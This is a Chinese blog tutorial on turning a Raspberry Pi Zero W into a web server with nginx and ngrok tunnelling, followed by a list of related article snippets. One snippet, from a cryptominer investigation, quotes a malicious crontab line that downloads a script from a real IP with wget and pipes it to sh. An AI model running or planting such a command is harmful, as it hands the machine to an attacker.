如何搭建一臺永久運行的個人服務器?

一、前言

由于本人在這段時候,看到了一個叫做樹莓派的東東,初步了解之后覺得很有意思,于是想把整個過程記錄下來。

二、樹莓派是什么?

Raspberry Pi(中文名為樹莓派,簡寫為RPi,(或者RasPi / RPI) 是為學習計算機編程教育而設計),只有信用卡大小的微型電腦,其系統基于Linux。隨著Windows 10 IoT的發布,我們也將可以用上運行Windows的樹莓派。自問世以來,受眾多計算機發燒友和創客的追捧,曾經一“派”難求。別看其外表“嬌小”,內“心”卻很強大,視頻、音頻等功能通通皆有,可謂是麻雀雖小,五臟俱全。

1.用我的話理解

用我的話理解就是樹莓派就是一臺主機,你可以外接顯示器,鍵盤鼠標,u盤等等外設,因為它體積很小,而且又有很多串口和外接的口,可以直接調用很多底層硬件。

2.市面上的型號

市面上大多是3代B+型,淘寶一搜樹莓派一大堆都是,價錢純主板(不要任何外設)在230+左右,有點小貴,超過我的預算,所以我繼續尋找廉價的,終于讓我發現了一款100+的樹莓派。

3.樹莓派zero w

樹莓派zero w是一款mini的樹莓派,體質只有3b+的1/3。實際到手后,你會發現它真的超級小,超級可愛。以下是我的實物圖,你可以看看大小到底有多mini。

圖片

你可以看到,最上面是一根普通的黑色簽字筆,接下來是一個即插即用型的外接wifi網卡,然后是一個USB讀卡器,最底下的就是我們今天的主角zero w。它真的超級小,有木有。真的是完美的詮釋了那句“麻雀雖小,五臟俱全”的話。

zero w這款樹莓派的主要參數如下:

  • BCM2835處理器,1GHz主頻,512MB RAM

  • BCM43438 WiFi / BT芯片

  • micro-USB電源接口

  • micro-USB OTG接口

  • miniHDMI端口

  • 復合視頻和重置擴展接口

  • 脆弱的CSI攝像頭接口

  • micro-SD卡座,存放操作系統

  • 40-pin GPIO擴展接口

  • 尺寸:65mm*30mm

你別看它的cpu只有1核,內存只有512MB,就覺得它可能什么都做不了,但是實際上它的性能還是很好的,用于跑一個網站真的是小case。

4.更多樹莓派

關于更多樹莓派型號或者使用教程你可以去樹莓派實驗室這個網站,上面有豐富的資源。

三、樹莓派zero w安裝系統

1.準備

你可能提前需要準備的東西如下:

  • 16GB or 32GB 的SanDisk內存卡(注意是以前那種放在手機上,很小的哦)

  • 一根最普通不過的usb安卓數據線(not type-c)

  • u盤格式化工具(推薦使用 SDFormatter)

  • 系統燒寫工具(Win32DiskImager)

  • 樹莓派系統(可以去官網下載)

我使用的是Raspbian Stretch Lite這個系統鏡像,這個系統是官方制作的,lite是無桌面版的,只有黑漆漆的控制臺,優點是體積小,省性能和內存。

名字帶有desktop的是有桌面ui的,對不熟悉liunx系統的朋友可能更友好,但是體積很大,占用的性能也會更高。

圖片

2.第一步下載系統鏡像

下載好你需要的系統鏡像后,如下圖

圖片

一開始只有一個zip的壓縮包,大小大概360MB左右,你需要把它解壓,得到上圖的文件夾

圖片

然后進入文件夾可以看到一個img的鏡像,大小為1.7GB左右

ps:這個官方的Raspbian鏡像,如果是其他第三方的鏡像,可能下載后的壓縮包解壓后不是img鏡像,這種情況請另行百度解決

3.使用Win32DiskImager往內存卡中寫入鏡像

圖片

把內存卡插入讀卡器后,插入電腦。打開Win32DiskImager軟件后,選擇img鏡像,設備選擇你的U盤,然后點擊寫入就可以了,寫入完成后會彈出成功的提示框。

ps: 我上圖沒有選擇設備,因為的沒插入讀卡器,僅僅是示范而已

4.修改boot分區的文件

先別急著拔出讀卡器,此時,我們電腦可以看到u盤中只有一個名為boot的分區,大小可能只有40MB左右,不要著急,因為window不識別內存卡中liunx系統的其他分區。

4.1新建ssh文件

因為我們的zero w有一個mini hdmi的接口,但是我不需要屏幕,所以需要使用ssh連接到zero w中的系統,所以需要在第一次開機就能開啟ssh功能。我們進入boot分區內,然后新建一個名為ssh的文件,注意不要后綴名!!!!也不要往里面寫任何東西!!

4.2新建wpa_supplicant.conf文件

因為ssh連接是需要ip地址的,所以我們需要將zero w在第一次開機自動連接wifi,使其和我們的電腦處于一個局域網,這樣我們才可以通過ssh連接到zero w的系統。同樣的在boot分區內,新建一個名為wpa_supplicant.conf的文件,然后往里面寫入如下內容后保存:

country=CN
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1network={
ssid="你的wifi名字"
psk="你的wifi密碼"
}

5.組裝我們的最小主機并連接

取出讀卡器中的內存卡,然后插入到zero w中,使用一根usb安卓數據線連接電源(5V1A)即可。等待幾分鐘,期間我們的zero w的指示燈會一直閃爍,很正常,等待指示燈常亮的時候,我們去路由器上,查看一下樹莓派的ip地址。

圖片

可以看到我們zero w的ip為192.168.0.104,然后使用ssh連接工具(推薦使用putty)連接樹莓派,初始賬戶為pi,密碼是raspberry。

圖片

連接成功,如上圖所示。這樣我們的系統就正確無誤的安裝好了。

ps: 如果是手機開啟熱點當做一個路由器的話,咱們手機下載一個名叫android terminal的app,然后輸入ip neigh指令,就可以查到連接到手機的設備的ip信息了。

6.優化咱們樹莓派的系統

6.1修改源

因為國外的源,咱們在國內的連接過去網速很慢,所以我們需要修改為國內的源,我修改的是中科大的源。

6.1.1修改sources.list文件
sudo?nano?/etc/apt/sources.list?
--注釋其他內容,添加以下:
deb?http://mirrors.ustc.edu.cn/raspbian/raspbian/raspbian?stretch?main?contrib?non-free?rpi
6.1.2修改raspi.list文件
sudo?nano?/etc/apt/sources.list.d/raspi.list
--注釋其他內容,添加以下:
deb?http://mirrors.ustc.edu.cn/archive.raspberrypi.org/debian?stretch?main?ui
6.1.3執行更新
sudo?apt-get?update
sudo?apt-get?upgrade
6.2修改時區
sudo?dpkg-reconfigure?tzdata

找到亞洲Asia,然后選擇shanghai就可以了。另外,搜索公眾號Linux中文社區后臺回復“私房菜”,獲取一份驚喜禮包。

6.3開機自啟ssh

第一種:

sudo?raspi-config

進入選擇找到interfacing option選擇,然后找到ssh,按回車使能enable就可以了

第二種:在終端命令行中啟動SSH服務后,如果系統重啟或關機后啟動,SSH服務默認是關閉的,依然需要手動啟動,為了方便可以設置SSH服務開機自動啟動,打開/etc/rc.local文件,在語句exit 0之前加入:/etc/init.d/ssh start

建議都試試,反之我的是可以了。

7.安裝nginx

#安裝
sudo?apt-get?install?nginx
#啟動
sudo?/etc/init.d/nginx?start
#重啟
sudo?/etc/init.d/nginx?restart
#停止
sudo?/etc/init.d/nginx?stop

打開瀏覽器訪問192.168.0.104(你的樹莓派ip地址),可以看到nginx的頁面,說明安裝好了。我這邊上傳了我的博客,如下圖

圖片

可以正常的看到頁面了,但是這樣只能在內網(局域網中)看到,我想讓所有人都可以訪問怎么辦?

8.內網穿透

內網穿透,意思就是將內網(本地)的web應用通過nat穿透到公網上,從而讓別人可以訪問到。

內網穿透目前主要由ngrok和frp兩種,都非常好用,國內ngrok免費的有ittun、sunny和natapp,這三個都是免費的,前面兩個可以自定義域名,后面的需要vip版本才可以自定義域名。

我這三種都試過,我發現sunny的arm版本的ngrok客戶端在我的樹莓派運行不了,ittun的和natpp的ngrok都可以,由于需要自定義域名,我使用的是ittun的ngrok_arm版本的

使用方法這三者官網都有詳細說明,大家自行查看。

這是正常運行時的截圖:

圖片

圖片

因為需要ngrok在后臺運行,所以我用的是screen會話使其可以在后臺運行。但是開啟自啟,還沒有實現,萬一斷電或者斷網了,我必須手動去運行一下ngrok,這是目前沒有解決的痛點。

9.更多

樹莓派不僅僅只是可以用于運行一個網站,還有很多很多的功能等待你的開發,可以多去看看樹莓派實驗室里面,很多大神都寫了很多實用的教程。

我的zero w狀態信息如下:

圖片

在上面開啟了一個nginx和ngrok服務,內存剩余還有250MB,還是很舒服的,cpu溫度也不算高,運行兩天了,基本在37-39之間。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/23282.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/23282.shtml
英文地址,請注明出處:http://en.pswp.cn/web/23282.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

kafka學習筆記 @by_TWJ

目錄 1. 消息重復消費怎么解決1.1. 確保相同的消息不會被重復發送(消費冪等性)1.2. 消息去重1.3. 消息重試機制1.4. kafka怎么保證消息的順序性1.4.1. 利用分區的特征:1.4.2. 解決辦法:1.4.3. 分區分配策略1.4.3.1. RangeAssignor (每組(Topi…

一次挖礦病毒的排查過程

目錄 一、查看定時任務二、處理方法 一、查看定時任務 # crontab -l * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1 0 */1 * * * /usr/local/nginx/sbin/nginx -s reload發現異常任務: * * * * * wget -q -O - http://1…

用python寫一個集卡模擬器

超市最近在籌備一款水滸主題的卡牌類游戲,將綠林好漢設計成游戲中的一百零八張卡牌,卡牌共有 SSR、SR、R 三種稀有度。 你能編寫程序,讓玩家有 1% 的幾率抽中 SSR 卡、9% 幾率抽中 SR 卡、90% 幾率抽中 R 卡嗎? 數據說明 卡牌數…

【PLG洞察】| 飛書成功之路:關鍵在分銷裂變

引言 隨著企業服務市場的發展,Product-Led Growth(PLG,產品驅動增長)模式逐漸成為眾多SaaS企業的首選戰略。在這個背景下,字節跳動旗下的企業協作與管理平臺——飛書,憑借其獨特的分銷裂變策略&#xff0c…

【YOLOV8】2.目標檢測-訓練自己的數據集

Yolo8出來一段時間了,包含了目標檢測、實例分割、人體姿態預測、旋轉目標檢測、圖像分類等功能,所以想花點時間總結記錄一下這幾個功能的使用方法和自定義數據集需要注意的一些問題,本篇是第二篇,目標檢測功能,自定義數據集的訓練。 YOLO(You Only Look Once)是一種流行的…

【原創】springboot+mysql村務檔案管理系統設計與實現

個人主頁:程序猿小小楊 個人簡介:從事開發多年,Java、Php、Python、前端開發均有涉獵 博客內容:Java項目實戰、項目演示、技術分享 文末有作者名片,希望和大家一起共同進步,你只管努力,剩下的交…

快速搭建sentence_transformer方法

sentence transformer模型可以將句子進行Embedding。這里使用docker快速構建一個sentence transformer環境,小試牛刀。 準備鏡像 這里Docker的安裝就不介紹了,我們使用Dockerfile來構建我們的鏡像,Dockerfile內容如下: FROM py…

pytorch——貓狗識別

貓狗識別 訓練模型導入需要的包數據加載數據預處理加載數據集并返回對應的圖像和標簽提取標簽信息創建訓練和測試的數據加載器圖像分類CNN的卷積神經網絡模型MYVGG的卷積神經網絡模型AlexNet的卷積神經網絡模型 訓練過程測試過程定義了一個主函數 測試模型導入需要的庫加載之前…

無線模塊應用晶振SG5032VAN

隨著物聯網(IoT)和無線通信技術的迅速發展,無線模塊已經成為各種智能設備的重要組成部分。在無線模塊中,選擇高性能的時鐘源對于確保系統的穩定性和可靠性至關重要。愛普生SG5032VAN是一款LVDS差分晶振,作為一款高性能…

WINUI——Behavior(行為)小結

前言 在使用MVVM進行WINUI或WPF開發時,Command在某些時候并不能滿足邏輯與UI分離的要求。這時肯定就需要其它技術的支持,Behavior就是一種。在WPF中是有Behavior直接支持的,轉到WINUI后,相對有一些麻煩,于是在此記錄之…

Enscape 4.1.0 軟件安裝教程+離線資源庫

軟件介紹 Enscape 是專門為建筑、規劃、景觀及室內設計師打造的渲染產品,無需導入導出文件,在常用的軟件內部即可看到逼真的渲染效果。 你無需了解記憶各種參數的用法,一切都是傻瓜式的一鍵渲染,你可以把精力更多地投入到設計中…

歸并排序——二路歸并排序

目錄 1、簡述 2、復雜度 3、穩定性 4、例子 1、簡述 二路歸并排序(Merge Sort)是一種基于分治法的排序算法,通過將數組遞歸地拆分成兩部分,分別排序后再合并,從而實現整個數組的有序。二路歸并排序具有穩定性和高…

ElementUI之el-tooltip顯示多行內容

ElementUI之el-tooltip顯示多行內容 文章目錄 ElementUI之el-tooltip顯示多行內容1. 多行文本實現2. 實現代碼3. 展示效果 1. 多行文本實現 展示多行文本或者是設置文本內容的格式,使用具名 slot 分發content,替代tooltip中的content屬性。 2. 實現代碼 …

Sui主網升級至V1.26.2版本

Sui主網現已升級至V1.26.2版本,同時Sui協議升級至48版本。 其他升級要點如下所示: 協議 #17881 Sui原生隨機性功能現在已在測試網啟用。 索引器 #17649 JSON-RPC:現在JSON-RPC在查詢時將返回正確的幣種元數據和總供應量信息。 索引器…

【圖像處理與機器視覺】灰度變化與空間濾波

基礎 空間域與變換域 空間域:認為是圖像本身,對于空間域的操作就是對圖像中的像素直接進行修改 變換域:變換系數處理,不直接對于圖像的像素進行處理 鄰域 圖像中某點的鄰域被認為是包含該點的小區域,也被稱為窗口 …

在IDEA中使用Git在將多次commit合并為一次commit

案例: 我想要將master分支中的 測試一、測試二、測試三三次commit合并為一次commit 1. 點擊Git 2. 雙擊點擊commit所在的分支 3. 右鍵要合并的多個commit中的第一次提交的commit 4. 點擊右鍵后彈出的菜單中的Interactively Rebase From Here選項 5. 點擊測試二…

常用Linux命令的具體使用示例

文件操作類: ls -l: 列出當前目錄下所有文件和目錄的詳細信息。cd /home: 切換到/home目錄。pwd: 顯示當前工作目錄的完整路徑。cp source.txt destination.txt: 將source.txt文件復制到destination.txt。mv oldname.txt newname.txt: 將文件oldname.txt重命名為ne…

MySQL排序操作

025排序操作 select .. from .. order by 字段 asc/descselect empno, ename, sal from emp order by sal asc;asc 不寫的話,默認升序 多個字段排序 查詢員工的編號、姓名、薪資,按照薪資升序排列,如果薪資相同的,再按照姓名升…

二叉樹的順序結構(堆的實現)

前言 普通的二叉樹是不適合用數組來存儲的,因為可能會存在大量的空間浪費。而完全二叉樹更適合使用順序結 構存儲。 現實中我們通常把堆 ( 一種二叉樹 ) 使用順序結構的數組來存儲,需要注意的是這里的堆和操作系統 虛擬進程地址空間中的堆是兩回事&…

問題:8255A的端口A工作在方式2時,使用端口C的______作為與CPU和外部設備的聯絡信號。 #媒體#經驗分享#其他

問題:8255A的端口A工作在方式2時,使用端口C的______作為與CPU和外部設備的聯絡信號。 參考答案如圖所示